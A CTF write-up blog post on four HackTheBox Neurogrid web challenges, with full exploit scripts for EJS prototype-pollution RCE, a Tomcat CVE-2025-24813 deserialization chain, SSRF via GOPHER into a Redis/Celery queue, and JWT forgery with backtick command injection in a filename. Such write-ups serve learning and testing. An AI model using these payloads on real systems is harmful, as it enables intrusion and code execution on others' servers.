WebNeurogrid 2025·

Neurogrid CTF: Human-Only 2025 | Web

Web challenges from Neurogrid CTF: Human-Only 2025

hard HackTheBox Neurogrid CTF Web SSRF
9 min reading · edit 2025-11-28

Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo and finished in the top 4 out of 1,337 players. This post covers the Web challenges.

Neurogrid CTF: Human-Only 2025

Team Solves Progress


kuromind [hard]

Description: KuroMind is a knowledge management platform where users submit knowledge items for operator review. The wisdom you share might just teach the system more than intended.

Points: 975 | Difficulty: Hard

Analysis

A Node.js/Express application using EJS templating. Users create “knowledge drafts” that get submitted for review by a Playwright bot. The vulnerability chain starts with a prototype pollution in utils/merge.js:

 1export function deepMerge(target, source) {
 2  let depth = 0;
 3  function merge(currentTarget, currentSource) {
 4    if (depth > 10) return currentTarget;
 5    depth++;
 6    for (let key in currentSource) {
 7      if (typeof currentSource[key] === 'object' && currentSource[key] !== null) {
 8        currentTarget[key] = merge(currentTarget[key] || {}, currentSource[key]);
 9      } else {
10        currentTarget[key] = currentSource[key];
11      }
12    }
13    return currentTarget;
14  }
15  return merge(target, source);
16}

No filtering of __proto__ or constructor - textbook prototype pollution. The trigger point is in /user/edit/:id:

1const newTags = JSON.parse(tags);
2updatedTags = deepMerge(updatedTags, newTags);

EJS 3.1.10 added hasOwnOnlyObject protection against prototype pollution, but Express has special handling for data.settings['view options'] that bypasses it:

1// EJS renderFile reads settings from prototype chain
2if (data.settings) {
3  viewOpts = data.settings['view options'];  // Reads from Object.prototype!
4  if (viewOpts) {
5    utils.shallowCopy(opts, viewOpts);
6  }
7}

When opts.client = true, EJS embeds escapeFunction directly into generated JavaScript:

1if (opts.client) {
2  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
3}

If escapeFunction is a string instead of a function, we get code injection.

The final challenge is ESM context - no require() available. The solution is process.binding('spawn_sync') which provides direct access to child process spawning:

 1var p = globalThis.process;
 2var s = p.binding('spawn_sync');
 3var opts = {
 4  file: '/bin/sh',
 5  args: ['sh', '-c', 'cp /flag.txt /app/public/f.txt'],
 6  envPairs: [],
 7  stdio: [{type:'pipe',readable:1,writable:0},
 8          {type:'pipe',readable:0,writable:1},
 9          {type:'pipe',readable:0,writable:1}]
10};
11s.spawn(opts);

Exploitation

 1#!/usr/bin/env python3
 2import requests, re, json, time, random, string
 3
 4def random_string(length=8):
 5    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
 6
 7def exploit(target_url):
 8    session = requests.Session()
 9    username = f"hacker_{random_string()}"
10    email = f"{username}@test.com"
11    password = "password123"
12
13    # Register
14    resp = session.get(f"{target_url}/register")
15    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
16    session.post(f"{target_url}/register", data={
17        "_csrf": csrf, "username": username, "email": email,
18        "password": password, "confirmPassword": password
19    }, allow_redirects=False)
20
21    # Login
22    resp = session.get(f"{target_url}/login")
23    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
24    session.post(f"{target_url}/login", data={
25        "_csrf": csrf, "email": email, "password": password
26    }, allow_redirects=False)
27    session.get(f"{target_url}/user/dashboard")
28
29    # Create draft
30    resp = session.get(f"{target_url}/user/add")
31    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
32    session.post(f"{target_url}/user/add", data={
33        "_csrf": csrf, "title": "Test", "description": "Test",
34        "tags": '{"categories": ["test"]}'
35    })
36
37    # Find draft ID
38    resp = session.get(f"{target_url}/user/drafts")
39    draft_id = re.search(r'href="/user/edit/(\d+)"', resp.text).group(1)
40
41    # Edit with prototype pollution payload
42    resp = session.get(f"{target_url}/user/edit/{draft_id}")
43    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
44
45    payload = (
46        "1;var p=globalThis.process;var s=p.binding('spawn_sync');"
47        "var opts={file:'/bin/sh',args:['sh','-c','cp /flag.txt /app/public/f.txt'],"
48        "envPairs:[],stdio:[{type:'pipe',readable:1,writable:0},"
49        "{type:'pipe',readable:0,writable:1},{type:'pipe',readable:0,writable:1}]};"
50        "s.spawn(opts)"
51    )
52
53    malicious_tags = {
54        "__proto__": {
55            "settings": {
56                "view options": {"client": 1, "escapeFunction": payload}
57            }
58        },
59        "categories": ["test"]
60    }
61
62    session.post(f"{target_url}/user/edit/{draft_id}", data={
63        "_csrf": csrf, "title": "Test", "description": "Test",
64        "tags": json.dumps(malicious_tags)
65    })
66
67    # Submit for bot review
68    resp = session.get(f"{target_url}/user/drafts")
69    csrf = re.search(r'name="_csrf" value="([^"]+)"', resp.text).group(1)
70    session.post(f"{target_url}/user/drafts/submit/{draft_id}", data={"_csrf": csrf})
71
72    time.sleep(5)
73    print(session.get(f"{target_url}/f.txt").text)
74
75exploit("http://TARGET:PORT")

The bot visits the review page, triggering EJS compilation with our polluted prototype. The RCE copies /flag.txt to the public directory.

Flag

Flag: HTB{pr0t0typ3_p0llut10n_3js_rce_1n_esm_c0nt3xt}


ashenvault [medium]

Description: The Whisper Network carries messages across Kurozan’s empire, recording every movement and decree in silence. It has no voice of its own, yet it remembers everything spoken through it.

Points: 1000 | Difficulty: Medium

Analysis

Tomcat 9.0.98 with some interesting configuration choices. Looking at conf/web.xml:

1<init-param>
2  <param-name>readonly</param-name>
3  <param-value>false</param-value>
4</init-param>
5<init-param>
6  <param-name>allowPartialPut</param-name>
7  <param-value>true</param-value>
8</init-param>

PUT requests are enabled with partial upload support - this enables CVE-2025-24813. The context.xml shows PersistentManager with FileStore for session storage, meaning session files are serialized to disk.

The application includes a custom Testing class with Groovy support:

 1private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 2    ois.defaultReadObject();
 3    if (groovyScript != null && !groovyScript.trim().isEmpty()) {
 4        processGroovyScript();
 5    }
 6}
 7
 8private void processGroovyScript() {
 9    GroovyClassLoader groovyClassLoader = new GroovyClassLoader(...);
10    Class<?> groovyClass = groovyClassLoader.parseClass(groovyScript);
11}

During deserialization, if the object contains a Groovy script, it gets parsed. Groovy’s @ASTTest annotation executes its closure during AST construction - before any class instantiation.

Exploitation

The attack chain:

  1. Use partial PUT (CVE-2025-24813) to upload a serialized Testing object as a session file
  2. The Content-Range header trick creates files with . prefix in the work directory
  3. Request the page with Cookie: JSESSIONID=.exploit to trigger deserialization
  4. @ASTTest closure executes during Groovy parsing

First, create the payload generator:

 1// GeneratePayload.java
 2import java.io.*;
 3import com.example.Testing;
 4
 5public class GeneratePayload {
 6    public static void main(String[] args) throws Exception {
 7        String groovyScript = """
 8            @groovy.transform.ASTTest(value={
 9                ["/bin/sh", "-c", "/readflag > /usr/local/tomcat/webapps/ROOT/flag.txt"].execute()
10            })
11            class Exploit {}
12            """;
13
14        Testing payload = new Testing("exploit", 1337, groovyScript);
15
16        try (ObjectOutputStream oos = new ObjectOutputStream(
17                new FileOutputStream("payload.session"))) {
18            oos.writeObject(payload);
19        }
20    }
21}

The Testing class must match the server’s serialVersionUID (8138492976104377189L).

Upload and trigger:

 1# Compile and generate payload
 2javac -cp . com/example/Testing.java GeneratePayload.java
 3java -cp . GeneratePayload
 4
 5# Upload via partial PUT (creates .exploit.session)
 6curl -X PUT "http://TARGET/exploit.session" \
 7  -H "Content-Range: bytes 0-253/254" \
 8  --data-binary @payload.session
 9
10# Trigger deserialization
11curl "http://TARGET/" -H "Cookie: JSESSIONID=.exploit"
12
13# Fetch flag
14curl "http://TARGET/flag.txt"

The /readflag binary is setuid and reads /root/flag.txt, writing it to the webroot.

Flag

Flag: HTB{CVE-2025-24813_plus_gr0vy_met4_pr0gramming_is_the_best_45dd7a15ec203994ce1d0e4ec0c5b1b0}

MirrorPort [easy]

Description: In the merchant port of Hōgetsu, the teahouse above the market hides more than it serves. Ayame watches scripted patrons, mirrored signage, and a crawlspace thick with sealed debts—proof the ledger is staged. Your job is to slip into the same flask ordering board, sift the thing, and expose how doctored receipts prop up the facade.

Points: 1000 | Difficulty: Easy

Analysis

We’re given a Flask marketplace application with a Celery/Redis task queue for background processing. When sellers create listings, any markdown image URLs in the notes field get fetched asynchronously by a Celery worker using curl.

The interesting part is in tasks.py:

1def fetch_url(url, note_id, curl_binary="curl"):
2    # Blocklist check
3    if url.startswith(('gopher://', 'file://', "-K", "-k")):
4        return {"success": False, "error": "Blocked protocol"}
5
6    curl_cmd = ["-s", "-L", "-m", "30", url]
7    curl_cmd = f"{curl_binary} {shlex.join(curl_cmd)}"
8    result = subprocess.run(curl_cmd, capture_output=True, shell=True, ...)

There’s command injection via the curl_binary parameter - it’s inserted directly into a shell command without escaping. The shlex.join() only protects the argument list, not the binary path prefix.

But the curl_binary parameter isn’t user-controllable through normal HTTP requests. It’s only set when Celery deserializes tasks from Redis. So we need SSRF to inject a malicious Celery task directly into the Redis queue.

The URL filtering in models/listing.py adds another layer:

1def filter_http_urls(urls: List[str]) -> List[str]:
2    for url in urls[:]:
3        if url.strip(string.punctuation).startswith(('http://', 'https://')):
4            filtered_urls.append(url)  # Returns ORIGINAL url
5    return filtered_urls

This strips punctuation before validation but returns the original URL - a classic filter bypass pattern.

Exploitation

The attack requires chaining three bypasses:

  1. Uppercase GOPHER bypass: The blocklist checks gopher:// (lowercase) but curl treats GOPHER:// identically
  2. Curl URL globbing: Using {url1,url2} syntax makes curl fetch both URLs. The first satisfies the HTTP filter, the second hits Redis
  3. Redis/Celery injection: GOPHER protocol allows raw socket communication with Redis using RESP format

The final payload URL looks like:

1{http://127.0.0.1/,GOPHER://127.0.0.1:6379/_*3%0D%0A$5%0D%0ALPUSH%0D%0A$6%0D%0Acelery%0D%0A$<len>%0D%0A<CELERY_MESSAGE>%0D%0A}

The Celery message must be properly formatted with headers, body, and properties - including a delivery_tag or the worker crashes:

 1#!/usr/bin/env python3
 2import base64, json, time, urllib.parse, uuid, requests
 3
 4TARGET = "http://94.237.120.233:38140"
 5
 6def build_malicious_celery_message(curl_binary="/usr/local/bin/read_flag>/app/cache/flag.txt;#"):
 7    task_id = str(uuid.uuid4())
 8    args = ["http://localhost/dummy", 1]
 9    kwargs = {"curl_binary": curl_binary}
10    embed = {"callbacks": None, "errbacks": None, "chain": None, "chord": None}
11    body = base64.b64encode(json.dumps([args, kwargs, embed]).encode()).decode()
12
13    headers = {
14        "lang": "py", "task": "tasks.fetch_url", "id": task_id,
15        "shadow": None, "eta": None, "expires": None, "group": None,
16        "group_index": None, "retries": 0, "timelimit": [None, None],
17        "root_id": task_id, "parent_id": None, "argsrepr": str(tuple(args)),
18        "kwargsrepr": str(kwargs), "origin": "gen@glob", "ignore_result": False,
19        "replaced_task_nesting": 0, "stamped_headers": None, "stamps": {},
20    }
21
22    properties = {
23        "correlation_id": task_id, "reply_to": str(uuid.uuid4()),
24        "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "celery"},
25        "priority": 0, "body_encoding": "base64", "delivery_tag": str(uuid.uuid4()),
26    }
27
28    return json.dumps({
29        "body": body, "content-encoding": "utf-8", "content-type": "application/json",
30        "headers": headers, "properties": properties,
31    })
32
33def build_gopher_url():
34    message = build_malicious_celery_message()
35    parts = ["LPUSH", "celery", message]
36    resp = f"*{len(parts)}\r\n"
37    for part in parts:
38        resp += f"${len(part)}\r\n{part}\r\n"
39    return f"GOPHER://127.0.0.1:6379/_{urllib.parse.quote(resp, safe='')}"
40
41gopher_url = build_gopher_url()
42glob_url = f"{{http://127.0.0.1/,{gopher_url}}}"
43note = f"![pwn]({glob_url})"
44
45payload = {
46    "seller_name": "attacker", "scroll_name": f"Exploit-{int(time.time())}",
47    "price": 1, "description": "pwn", "note": note, "image_url": "",
48}
49
50requests.post(f"{TARGET}/api/listings", json=payload)
51time.sleep(5)
52
53resp = requests.get(f"{TARGET}/cache/flag.txt")
54print(resp.text)

The injected task runs /usr/local/bin/read_flag (a setuid binary) and redirects output to the cache directory. The # comments out the remaining curl arguments.

Flag

Flag: HTB{sm0k3_b3h1nd_p4p3r_w4lls_w3b_0f_d3c3pt1on_77ed079d74b931042845075ba49e55cb}


Lanternfall [very easy]

Description: Ayame has spent years weaving information networks through Gekkō’s alleys, favoring precision strikes over reckless blades. Lately she suspects a rival clan has hijacked her moonlit gallery, twisting it into a staging ground for hushed deals and pilfered secrets. She needs a careful ally—someone to slip through the lantern-lit facade, catalogue the tampering, and restore balance without shattering the trust of the people she protects.

Points: 950 | Difficulty: Very Easy

Analysis

A Next.js application with admin functionality. Examining the JavaScript bundles from /_next/static/chunks/pages/admin-*.js reveals a hardcoded JWT secret in the client-side code:

1"X-Lantern-Sigil":"ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024"

With the secret exposed, forging an admin token is trivial:

 1const crypto = require('crypto');
 2
 3function base64UrlEncode(str) {
 4  return Buffer.from(str).toString('base64')
 5    .replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');
 6}
 7
 8const header = { alg: 'HS256', typ: 'JWT' };
 9const payload = {
10  username: 'admin', role: 'admin',
11  iat: Math.floor(Date.now()/1000),
12  exp: Math.floor(Date.now()/1000) + 86400
13};
14const secret = 'ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024';
15
16const data = base64UrlEncode(JSON.stringify(header)) + '.' +
17             base64UrlEncode(JSON.stringify(payload));
18const signature = crypto.createHmac('sha256', secret).update(data).digest('base64')
19  .replace(/=/g, '').replace(/\+/g, '-').replace(/\//g, '_');
20
21console.log(data + '.' + signature);

Exploitation

With admin access, the /api/admin/reports endpoint has command injection via the filename parameter using backticks:

1filename="test`id`.csv"
2# Response shows: uid=65534(nobody) gid=65533(nogroup)

Spaces are filtered, but ${IFS} works as a substitute:

1# Inject command to copy flag
2curl -X POST "http://TARGET/api/admin/reports" \
3  -H "Authorization: Bearer $TOKEN" \
4  -H "Content-Type: application/json" \
5  -d '{"reportType":"user_activity","format":"csv","filename":"x`cat${IFS}/flag.txt>/tmp/reports/flag.txt`y"}'
6
7# Retrieve flag via files API
8curl "http://TARGET/api/admin/files?filename=flag.txt" \
9  -H "Authorization: Bearer $TOKEN"

Flag

Flag: HTB{4y4m3_g3kk0_m00nl1ght_4ll3ys_sh4d0w_w3b_69b5139fb865bc3b810d7baa18876e7a}